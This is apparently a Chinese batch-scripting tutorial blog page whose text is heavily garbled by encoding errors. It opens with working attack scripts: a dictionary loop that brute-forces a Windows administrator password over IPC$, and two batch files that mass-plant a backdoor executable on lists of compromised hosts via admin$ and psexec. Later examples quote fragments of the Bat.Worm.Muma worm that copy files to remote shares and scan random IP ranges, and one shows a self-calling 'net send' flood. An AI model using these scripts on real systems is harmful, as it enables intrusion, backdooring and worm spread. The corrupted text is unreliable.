利用For命o来实现对一台目标Win2kL的暴力密码破解?br /> 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br /> 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:\ok.txt Q这样就ko了?br />
sample3Q?br />
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?br />
主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?br /> @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br /> 而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br /> delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br /> 代码雏ŞQ?br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br /> 可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?/p>



九宝 2009-06-01 15:52 发表评论
]]>
(? l典的DOS批处理入门教E?1)Q徏议耐心看完Q必有收Phttp://www.tkk7.com/yglwxl/archive/2009/06/01/279405.html九宝九宝Mon, 01 Jun 2009 07:50:00 GMThttp://www.tkk7.com/yglwxl/archive/2009/06/01/279405.htmlhttp://www.tkk7.com/yglwxl/comments/279405.htmlhttp://www.tkk7.com/yglwxl/archive/2009/06/01/279405.html#Feedback0http://www.tkk7.com/yglwxl/comments/commentRss/279405.htmlhttp://www.tkk7.com/yglwxl/services/trackbacks/279405.html关键? dos批处?自动化安装测?/strong>

目前在做自动化安装测试的q程中要用到大量dos批处理的应用Q所以脓一?br />

很好的DOS批处理入门教E?呵呵?/span>

q是一技术教E,我会用很单的文字表达清楚自己的意思,你要你识字就能看懂,p学到知识。写q篇教程的目的,是让每一个看q这些文字的朋友C一句话Q如果爱可以让事情变的更单,那么p它简单吧Q看q篇教程的方法,是慢!慢慢的,如同品一个女人、一杯茗Ӟ你会发现很多以前在眼前的东西突然变的很遥远Q而有些很遥远的东西却又突然回C眼前?br />
先概qC下批处理是个什么东东。批处理的定义,至今我也没能l出一个合适的----众多高手们也都没l出----反正我不知道----看了我也不一定信?----我是个菜鸟,当然更不用说了Q但我想ȝZ?#8220;比较合适的”Q而且我也怿自己可以把它解释的很清楚Q让更多的菜鸟都知道q是个什么东东,你用q个东东可以q什么事情。或怽会因文章?#8220;无条件爱上批处理”Q那么我的目的就辑ֈ?---我就是要让你׃它,我就q么拽,你能怎么着Q?真的Q爱有时候就q么拽,是q么没理由,是q么不要脸!真的Q?br />
按照我的理解Q批处理的本质,是一堆DOS命o按一定顺序排列而Ş成的集合?br />
OK,never claver and get to businessQ闲话少说言归正传)。批处理Q也UCؓ批处理脚本,英文译ؓBATCHQ批处理文g后缀BAT取的前三个字母。它的构成没有固定格式,只要遵守以下q条ok了:每一行可视ؓ一个命令,每个命o里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的q_是DOS。批处理有一个很鲜明的特点:使用方便、灵z,功能强大Q自动化E度高。我不想让自己写的教E枯燥无呻I因ؓ늼C码(批处理的内容是代码吧?Q的问题本来是枯燥的,很少有h能面Ҏ屏幕的代码而静下心来。所以我会用很多单实用的例子让读q篇教程的朋友去体会批处理的那四的力Q感受它那古늲怪的性格Q不知不觉中׃批处理(晕,怎么又是爱?到底批处理和爱有什么关p?{案Q没有!Q。再说句“闲话”Q要学好批处理,DOS基础一定要牢!当然脑子灉|也是很重要的一斚w?br />
例一、先l出一个最easy的批处理脚本让大家和它؜个脸熟,下面的几行命o保存为name.bat然后执行Q以后文中只l出代码Q保存和执行方式cMQ:

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是不是都能看的懂Q是不是很easyQ但它的作用却是很实用的Q执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文Ӟ它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远?#8220;从服务器中{”那一痛苦的过E。这?gt;的意思,是把前面命o得到的东西放到后面所l的地方Q?gt;>的作用,?gt;的相同,区别是把l果q加到前一行得出的l果的后面,具体的说是下一行,而前面一行命令得出的l果保留,q样可以使这个a.txt文g来大Q想到如何搞破坏了?Q)。By the wayQ这个批处理q可以和其他命ol合Q搞成完全自动化判断服务器速度的东东,执行后直接显C速度最快的服务器IPQ是不是很爽Q后面还详l介l?br />
例二、再l出一个已l过时的例子Qa.batQ:

@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat

Z么说q是个过时的例子呢?很简单,因ؓ现在已经几乎没有人用带广告的QQ了(KAOQ我的QQq显C好友三围呢Q!Q,所以它几乎用不上了。但曄它的作用是不可小H的Q删除QQ的广告,让对话框q干净净。这里用的地址是QQ的默认安装地址Q默认批处理文g名ؓa.batQ你当然可以Ҏ情况自行修改。在q个脚本中用了if命oQ得它可以辑ֈ适时判断和删除广告图片的效果Q你只需要不关闭命o执行后的DOSH口Q不按CTRL+Cl止命oQ它׃直监视是否有q告囄QQQ也再不断查看自己的广告是否被删除Q。当然这个脚本占用你一点点内存Q呵c?br />
例三Q用批处理脚本查是否中冰河。脚本内容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

q里利用了netstat命oQ检查所有的|络端口状态,只需要你清楚常见木马所使用的端口,p很easy的判断出来是否被人种了冰沟뀂然q不是确定的Q因为冰河默认的端口7626Q完全可以被Z攏V这里介l的只是Ҏ和思\。这里介l的是方法和思\E做改动Q就变成可以查其他木马的脚本了,再改动一下,加进d数和端口及信息列表文件后Q就变成自动所有木马的脚本了。呵呵,是不是很q瘾Q脚本中q利用了l合命o&&和管道命令|Q后面将详细介绍?br />
例四Q借批处理自动清除pȝ垃圾Q脚本如下:

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*


以上脚本内容保存到autoexec.bat里,每次开机时把pȝ垃圾l自动删除了。这里需要注意两点:一、DOS不支持长文g名,所以就出现了Tempor~1q个东东Q二、可Ҏ自己的实际情况进行改动,使其W合自己的要求?br />
怎么P看到q里Q你Ҏ处理脚本是不是已l有点兴了Q是不是发现自己已经慢慢׃了这个东东?别高兴的太早Q爱不是一件简单的事,它也许能带给你快乐和q福Q当然也能让你痛苦的惛_x。如果你知道很难q敢l箋的话QI 服了 YOUQl努力吧Q也许到最后你不一定得到真爱(真的有这可能Q爱q的人都知道Q,但你可以体会到整个爱的过E,是如此。酸、苦和GQ有没有甜天知道?br />
Z么会把批处理和爱情扯上关p?不是我无聊,也不是因样写有趣多少Q原因有二:其一Q批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自q表达能力Q而是事情本n׃好说清楚Q,说了=没说Q但用地球h都知道的爱情一比喻Q爱情是什么??*怎么知道Q!Q,没准你心里一下就亮堂了,事半功倍,何乐而不为?其二Q我q段旉状态不是很好,感冒发烧头疼dQ但主要q是感情上精摧D,搞的人烦透了Q借写教程之际感慨几句Q大家就全当买狗皮膏药了Q完全可以省略不看(也许q真有点效果----不至于让你看着看着q着了,把头了来找我报销医药费)。说不定下次的教E中大家q会看到杨过、张无忌{金老前辈笔下的英雄们?br />
看过W一章的朋友Q一定对批处理有了初步的印象Q知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思\要灵z!没有做不到的Q只有想不到的。这和爱情就有点不同了,因ؓ爱情的世界是两个人的世界Q一厢情愿不叫爱情(补充Q那叫单恋。废话!Q而批处理却是一个h的天堂,你可以ؓ所ƲؓQ没有达不到的境界!

批处理看h杂ؕ无章Q但它的逻辑性之强,l对不比其他E序语言Q如汇编Q低Q如果你写的脚本是一堆ؕ麻,虽然每一行命令都正确Q但从头执行到尾后,不一定得C惌的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来l营Q缺或增多的步骤都可能D不想看见的结果。陷入爱河的朋友Q相信没有不肯定q句话的。我的爱情批处理Q输出的l果不是Bad command or fail nameQ屏q是q么昄的:‘你的爱情’不是内部或外部命令,也不是可q行的程序或批处理文件。然后就是光标不停闪动,{待q下一ơ错误的输入?br />
从这一章开始,由入q介绍批处理中常用的命令,很多常见DOS命o在批处理脚本中有q广泛的应用Q它们是批处理脚本的BODY部分Q但批处理比 DOS更灵zdP更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说Q的DOS命oQ常用命令如COPY?DIR{就不做介绍了(q些看似单的命o实际复杂的很Q我怕自己都说不清楚Q)?br />
例五Q先看一个实例。这是一个很有意思的脚本Q一个小巧实用的好东东,把批处理“自动?#8221;的特点体现的淋漓致。先介绍一下这个脚本的来历Q大安知道汇编E序QMASMQ的上机q程Q先要对源代码进行汇~、连接,然后再执行,而这中间有很多环节需要输入很多东西,ȝ的很Q只有经历过的朋友才懂得Q。如何ɘq个q程变的单呢Q在我们搞汇~课E设计时Q我“被?#8221;写了q个脚本Q用h很爽Q呵c看看脚本内容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被q一堆的东西l吓怕了Q静下心来仔l的看(回想一下第一章中W一D|怎么写的Q!Q。已l给Z每一行命令的解释Q两个冒号后面的内容为前一行内容解释的E文(xE文的朋友也不用担心,都很easyQ一看就懂了Q实在不懂了不会查词典啊Q这么懒Q)Q在脚本执行时不昄Q也不vM作用。倒数W?5行行首有一个冒P可不是笔误哦Q具体作用后面会详细讲到。此脚本中masm和link是汇~程序和q接E序Q必deditE序以及你要~辑的源代码Q当然还有这个脚本,废话Q)一起在当前目录中。用这个批处理脚本Q可以最大可能的减少手工输入Q整个过E中只需要按几下回R键,卛_实现从汇~源代码到可执行exe文g的自动化转换Qƈ具备判断功能Q如果汇~时源代码出现错误(汇编不成功)Q则自动暂停昄错误信息Qƈ在按L键后自动q入~辑源代码界面;如果源代码汇~成功,则进行连接,q在q接后自动执行生成的exe文g。另外,׃批处理命令的单性和灉|性,q个脚本q具备良好的可改q性,单进行修改就可以W合不同朋友的上Z惯。正在学汇编的朋友,一定别忘了实习一下!

在这个脚本中出现了如下几个命令:@、echo?:、pause?和goto?以及if。而这一章就讲q这几个命o?

1、@

q个W号大家都不陌生Qemail的必备符P它怎么会跑到批处理中呢Q呵呵,不是它的错,批处理本来就M开它,要不׃完美了。它的作用是让执行窗口中不显C它后面q一行的命o本nQ多么绕口的一句话Q)。呵呵,通俗一点说Q行首有了它的话Q这一行的命o׃昄了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显C后面的echo off部分。这下懂了吧Q还是不太懂Q没关系Q看完echo命o介,自然懂了?br />
2、echo

中文?#8220;反馈”?#8220;回显”的意思。它其实是一个开兛_令,是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命o了。直接执行echo命o显C当前echo命o状态(off或onQ执行echo off关闭回显,它后面的所有命令都不显C命令本w,只显C执行后的结果,除非执行echo on命o。在例五中,首行的@命o和echo off命o联合hQ达C两个目的Q不昄echo off命o本nQ不昄以后各行中的命o本n。的是有点乱,但你要是l习一下的话,3分钟包会Q不会的退钱!

echo命o的另一U用法一Q可以用它来昄信息Q如例五中倒数W二行,Default BAT file name is START.BAT在脚本执行后的H口中显C,而echo命o本n不显C(Z么?Q)?br /> echo命o的另一U用法二Q可以直接编辑文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是Q直接是命o行输入,每行一回R。最后就会在当前目录下生成一个a.bat的文Ӟ直接执行׃得到l果?br />
3?:

q个命o的作用很单,它是注释命oQ在批处理脚本中和rem命o{效。它后面的内容在执行时不昄Q也不vM作用Q因为它只是注释Q只是增加了脚本的可L,和C语言中的/*…………*/cM。地球h都能看懂Q就不多说了?br />
4、pause

中文?#8220;暂停”的意思(看看你的workman上)Q我一直认为它是批处理中最单的一个命令,单纯、实用。它的作用,是让当前E序q程暂停一下,q显CZ行信息:hL键l? . .。在例五中这个命令运用了两次Q第一ơ的作用是让使用者看清楚E序信息Q第二个是显C错误的汇编代码信息Q其实不是它xC,而是masmE序在显C错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里Q?br />
5?和goto

Z么要把这两个命o联合h介绍Q因为它们是分不开的,无论了哪个或多了哪个都会出错。goto是个跌{命oQ?是一个标{。当E序q行到goto Ӟ自动蟩转到:定义的部分去执行了(是不是分不开Q)。例五中倒数W?行行首出C?Q则E序在运行到goto时就自动跌{?标签定义的部分执行,l果是显C本usageQusage是标签名称Q。不隄出,goto命o是Ҏq个冒号和标{֐U来L它该跌{的地方,它们是一一对应的关pRgoto命o也经常和if命ol合使用。至于这两个命o具体用法Q参照例五?br />
goto命o的另一U用法一Q提前结束程序。在E序中间使用goto命o跌{到某一标签Q而这一标签的内容却定义为退出。如Q?br />
……
goto end
……
:end

q里:end在脚本最后一行!其实q个例子很弱智,后面讲了if命o和组合命令你q道了?br />
6?

q个癑ֈ号严格来说是不上命令的Q它只是批处理中的参数而已Q多?一起用的情况除外Q以后还详l介l)Q但千万别以为它只是参数小看了它(看看例五中有多少地方用到它?Q,了它批处理的功能就减少?1%了。看看例七:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分Q?1代表的IPQ?%代表的usernameQ?%代表password。执行Ş式ؓQ脚本文件名参数一 参数?……。假设这个脚本被保存为a.batQ则执行形式如下Qa IP username password。这里IP、username、password是三个参敎ͼ~Z不可Q因为程序不能正运行,q不是因为少了参数语法就不对Q这样在脚本执行q程中,脚本p动用用你的三个参Cơ(CQ是依次Q也是一一对应的关pR)代换1%?%?%Q这样就辑ֈ了灵z运用的目的Q试惻I如果在脚本中直接把IP、username和password都定义死Q那么脚本的作用也就被固定了Q但如果使用%的话Q不同的参数可以辑ֈ不同的目的,是不是更灉|Q)?br />
关于q个参数的用,在后l章节中q将介绍。一定要非常熟练才行Q这需要很多练习过E,需要下点狠工夫Q?br />
q一章就写到q里了。可能有朋友问了Q怎么没介lif命oQ呵呵,不是我忘了,而是它不Ҏ说清楚,下一章再讲了Q这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话QDOS是批处理的BODYQQ何一个DOS命o都可以被用在批处理脚本中d成特定的功能。到q里Q你是否已经惛_了用自己肚子里的东西d点带有自动化色彩的东东呢Q很单,是一个DOS命o的集合而已Q相信自UCؓ天才的你已经会把计算机等U考试上机试题中的DOS部分用批处理来自动化完成了?br />
烦!好象一个半老女人到了更q期Q什么事都想唠叨几句Q什么事都感C舒服Q看谁谁不爽。明知山有虎Q偏向虎pQ最后留下一w伤痕无功而返Ӟ才发现自q然如此脆弱,如此渺小Q如此不堪一凅R徘徊在崩溃的边~,H然回想起了自己最后一ơ扁人的那一刻,q真有点怀念(其实我很不喜Ƣ扁人,更不喜欢被h扁)。我需要发泄,我用手指拼命的敲打着键盘Q在一阉|一阉|节奏的声音中Q屏q上出现了上面的q些文字。可Nq就是发泄的另一U方式吗Q中国hq是厉害Q早在几千年前孔老夫子就说过“唯女子与hQ难M”Q真**有先见之明,佩服Q虽然是在发泄,不过大家h心,以我的脾气,既然军_写这教E,׃定会力d好,写完,l对不给自己留下遗憾Q要不这教程׃是我写的Q?br />
曄有一经典的批处理教E出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,Z间最大的痛苦莫过于此。如果上天能l你一个再看一ơ的ZQ你会对那篇教程说三个字Q我׃Q如果非要给q䆾爱加上一个期限,你希望是100q。因?00q后Q你恐怕早已经挂了Q而现在,你的屏幕上出Cq篇你正在看的批处理教程Q虽然不如你曄看的那篇l典Q但如果勉强q过的去。你会爱它吗Q时间会?0q那么长吗?{案是:试试看吧?

批处理脚本中最重要的几个命令,在q一章详l介l,但是很遗憾,有些l节到现在我都没掌握的很好,甚至q有些生分。如同还不太懂得׃栗但我一直都在努力,即一直都没有收获。所以可能讲的会比较W统Q但我会告诉你方法,剩下的就是时间问题了Q需要自己去练。让我们共同努力吧。冰M非一日之寒,滴水I石非一日之功。有些事情,比如学批处理Q比如爱一个hQ都是不能速成的,甚至q会有付辛而收获ؓ甚微的情c再ơ重画I看这教E的时候,一定要静下心来Q除非你已经掌握了这教E的所有东?---但那也就不必看了Q浪Ҏ_

7、if

接上一章,接着讲if命o。ȝ来说Qif命o是一个表C判断的命oQ根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三U用法,在这里分开讌Ӏ?

(1)、输入判断。还是用例五里面的那几句吧:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

q里判断输入的参数情况,如果参数为空Q无参数Q,则蟩转到usageQ如果参Cؓ/?或helpӞ大家一般看一个命令的帮助Q是不是输入???help呢,q里q么做只是ؓ了让q个脚本看v来更像一个真正的E序Q,也蟩转到usage。这里还可以用否定Ş式来表示“不等?#8221;Q例如:if not "%1"=="" goto usageQ则表示如果输入参数不ؓI就跌{到usageQ实际中q样做就没意义了Q这里介l用法,不了那么多了,呵呵。)是不是很单?其实译成中文体会一下就understand了?

(2)、存在判断。再看例二里q句Q?

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文gQ就删除q些文g。当然还有例四,都是一L道理。注意,q里的条件判断是判断存在的,当然也可以判断不存在的,例如下面q句“如果不存在那些gif文g则退?#8221;Qif not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表C否定而已?

(3)、结果判断。还是拿例五开刀Q没惛_自己写的脚本Q竟然用处这么大Q呵呵)Q?

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先对源代码进行汇~,如果p|则暂停显C错误信息,q在按Q意键后自动进入编辑界面;否则用linkE序q接生成的obj文g。这里只介绍一下和if命o有关的地方,&命o后面会讲到。这U用法是先判断前一个命令执行后的返回码Q也叫错误码QDOSE序在运行完后都有返回码Q,如果和定义的错误码符合(q里定义的错误码?Q,则执行相应的操作Q这里相应的操作为pause & edit %1.asm部分Q?

另外Q和其他两种用法一Pq种用法也可以表C否定。用否定的Ş式仍表达上面三句的意思,代码变ؓQ?br /> masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本质了吧Q其实只是把l果判断后所执行的命令互换了一下,“if not errorlevel 1”?#8220;if errorlevel 0”的效果是{效的,都表CZ一句masm命o执行成功Q因为它是错误判断,而且q回码ؓ0Q?pC否定,是说这个错误不存在Q就是说masm执行成功Q。这里是否加notQ错误码到底?q是1Q是值得考虑的两个问题,一旦搭配不成功脚本p定出错,所以一定要体会的很深刻才行。如何体会的深刻Q练习!自己写一个脚本,然后把有not和没有not的情况,q回码ؓ0?的情况分别写q去执行Q怎么Q嫌ȝ啊?排列l合一下才四中情况你就嫌麻烦了Q后面介l管道命令和l合命o时还有更ȝ的呢Q怕了Q呵c)Q这样从执行的结果中p很清楚的看出q两U情늚区别?

q种用errorlevell果判断的用法是if命o最隄用法Q但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码Q则要达到相同的效果Q必ȝelse来表C?#8220;否则”的操作,是比较麻烦的。以上代码必d成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关于if命o的这三种用法say到这里,理解很简单,但应用时׃一定用的那么得心应手,主要是熟l程度的问题。可能有的朋友有ҎӞ我怎么没给出类g面三行的用法介绍Q是因ؓ下面三行是if命o帮助里对它自w用法的解释QQ何h只要一?#8220;if /?”p看到Q我没有必要在这里多费口舌;更重要的原因Q是我觉得这样介l的不清楚,看的Z一定看的懂Q所以我采用上面自己对if命o的理解来介绍。一定要注意的是Q这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换Q以Z本质上讲Q这三种用法都是建立在判断的基础上的Q哲学教我们学会透过现象看事物本质!Q。有兴趣的朋友可以自qI一下?

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

学过汇编或C的朋友,肯定都知道call指o表示什么意思了Q在q里它的意思其实也是一L。在批处理脚本中Qcall命o用来从一个批处理脚本中调用另一个批处理脚本。看例八Q默认的三个脚本文g名分别ؓstart.bat?0.bat和ipc.batQ:

start.batQ?
……
CALL 10.BAT 0
……

10.batQ?
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.batQ?
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看Z么不对的地方Q没看出来啊Q没看出来就对了Q其实就没有不对的地方嘛Q你怎么看的出来Q从上面两个脚本Q你可以得到如下信息Q?、脚本调用可以灵z运用,循环q用、重复运用?、脚本调用可以用参敎ͼ关于W一点就不多说了Q聪明的你一看就应该会,q里说一下第二点?

在start.bat中,10.bat后面跟了参数0Q在执行时的效果Q其实就是把10.bat里的参数%1?代替。在start.bat 中,ipc.bat后面跟了参数ipcfind.txtQ一个文Ӟ也可以做参数Q,执行时的效果Q就是用ipc.bat中的每一行的三个变量Q这里不懂没关系Q学qfor命o后就懂了Q,对应代换ipc.bat中的%%i?%j?%k。这里参数调用是非常灉|的,使用旉要好好体会。在初学期间Q可以先学习只调用脚本,至于q脚本的参数一起用的情况Q在后面的学习中自然׃有比较深ȝ理解Q这是因为当你已l可以灵z运用批处理脚本后,如何使代码写的更_更完更高效p然包括到了考虑的范_q时候你׃发现在调用脚本时直接加入参数Q可以代码效率加倍。By the wayQ上面的q几个脚本,都是Bat.Worm.Muma病毒的一部分Q在后面的教E里Q大家将有机会见到这个病毒的真面目?br /> 那是不是_在同一个目录下臛_存在两个批处理脚本文Ӟ只有一个你调用谁?Q?呵呵Q注意了Q这句话错了Q!只有一个照样可以调?---调用自nQ看例九Q默认脚本文件名a.batQ:

net send %1 This is a call example.
call a.bat

q两句一l合Q效果自然不怎么P因ؓ只有一台机器来发消息,谁怕谁啊?我给你来个礼往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话Q呵c这里call a.bat的作用就是调用自w,执行完前一句net send命o后再调用自nQ达C循环执行的目的?

l出一个很有意思的脚本Q有兴趣的朋友可以实验一下。例十(默认脚本文g名ؓa.batQ:

call a.bat

一定要在DOSH口下执行,否则只会看到一个窗口一闪而过Q看不到最后结果。等执行完后Q当脚本被执行了1260ơ,别忘了想一下到底是Z么!爱情有时候跟q个脚本一P一旦陷入死循环Q最后的l果都是意想不到的。只是爱情,l对不会{到被毫无理q循环q么多次Q也许在W三ơ时出Clove is aborted的提C?

9、find

q是一个搜索命令,用来在文件中搜烦特定字符Ԍ通常也作为条件判断的铺垫E序Q我怎么H然惌v了这四个字?Q。这个命令单独用的情况在批处理中是比较见的,因ؓ没什么实际意义。还是借例三来说明Q?

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命o查是否有冰河默认的端?626在活动,q把l果保存到a.txt中。然后用type命o列出a.txt中的内容Q再在列出的内容中搜索字W串“7626” Q发现有的话则提CZ了冰治I否则退出。看Qfind命o其实p么简单,但有一点必要注意刎ͼ如果不用type命o列出a.txt中的内容Q而是直接使用find命o在a.txt中找“7626”Qfind a.txt "7626" && echo "Congratulations! You have infected GLACIER!"Q,必dl出q个a.txt的绝对\径(我试q了Qfindq没有默认\径就是当前\径的功能Q必L动指定。也许是我错了,Ƣ迎指正Q。因为在find命o的帮助里有这么一句话Q如果没有指定\径,find搜索键入的或者由另一个命令生的文字。这里的“另一个命?#8221;自然指?type命o了?

至于find命o的其他几个参数如v、n、i{,有兴的朋友自己ȝI吧Q这已经属于DOS学习的内容了Q这里就不做介绍。关于find命o和其他命令的一些更_֦的用法(有些直o人叫l)Q后l的教程中将介绍Q希望关注?

10、for、set、shift

Z么把q三个命令放ChԌ原因除了我说明外Q恐怕谁也想不到Q很单的一句话Q其实我也不太懂Q是的,对于q两个命令,我是从研I?Bat.Worm.Muma病毒开始学习的Q时间过M不少Q但q是没完全搞明白Q我怕讲出来q自己都看不懂,我更怕不心讲错了成了罪人。所以我l出一个脚本去告诉你,如何让这两个命ol自q一个初步的印象Q其实也是q两个命令的入门Q而ƈ不是说如何领会这两个命o。因领会如此_֦的两个命令(特别是forQ谈何容易!也许你会表扬我说我诚实、不懂就不懂Q也怽会骂我,让我既然不懂p紧滚蛋,不要在这里丢人显|也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即我不同意你说的话Q我也会誓死捍卫你说话的权利。看例十一Q?

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文gQ里面分别记录了for命o、set命o和shift命o的帮助信息。地球h都能看懂Q我׃多说了。我在网上曾l找了很长时间这三个命o的教E,但都不理惻I基本都是照搬的帮助信息。我惛_自己完全掌握了这两个命o后,一定要写一用自己的文字ȝ出来的for、set和shift教程Q关于shift命oQ后面介l批处理的参数时q将涉及刎ͼQ一定会的,q是我的心愿之一Q需要注意的一ҎQ这三个命o的帮助里Q介l的都比较死板,虽然也D了一些例子,但这是远q不够的。要掌握q两个命令,最需要的是耐心Q没写错Q就是耐心。光是认真看完它们的帮助文字已l需要够的耐心了,要进一步练习领会这两个命oQ难道不需要更大的耐心Q实战练习的Z我会留给你的Q关键还是那句话Q看你有没有耐心ȝI了。看看例十二Q?

START.BATQ?
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
